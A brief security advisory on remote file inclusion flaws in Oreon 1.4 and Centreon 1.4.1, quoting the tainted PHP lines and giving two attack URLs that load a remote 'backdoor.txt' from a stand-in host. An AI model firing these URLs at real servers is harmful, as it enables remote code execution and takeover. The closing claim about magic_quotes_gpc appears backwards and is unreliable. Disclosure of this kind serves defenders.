By Michael Brooks

Vulnerability Type: Multiple Remote File Inclusion.

Software: Oreon and Centreon

Homepage:http://www.oreon-project.org/  or http://www.centreon.com/

Versions: 1.4(Oreon) and 1.4.1(Centreon)



The vulnerable file is:

./oreon-1.4/www/include/monitoring/engine/MakeXML.php

Another,virtually identical RFI:

./oreon-1.4/www/include/monitoring/engine/MakeXML4statusCounter.php



The attack:

http://127.0.0.1/include/monitoring/engine/MakeXML.php?fileOreonConf=http://evilurl/backdoor.txt?

or

http://127.0.0.1/include/monitoring/engine/MakeXML4statusCounter.php?fileOreonConf=http://evilurl/backdoor.txt?



file MakeXML.php line 42 & 43:

  include_once($oreonPath . "www/oreon.conf.php");

  include_once($oreonPath . "www/include/common/common-Func-ACL.php");



Register_globals isn't needed for the taint:

file MakeXML.php line 28:

  if (isset($_GET["fileOreonConf"]))

    $oreonPath = $_GET["fileOreonConf"];



However magic_quotes_gpc is require for LFI because you need a null byte. 



Peace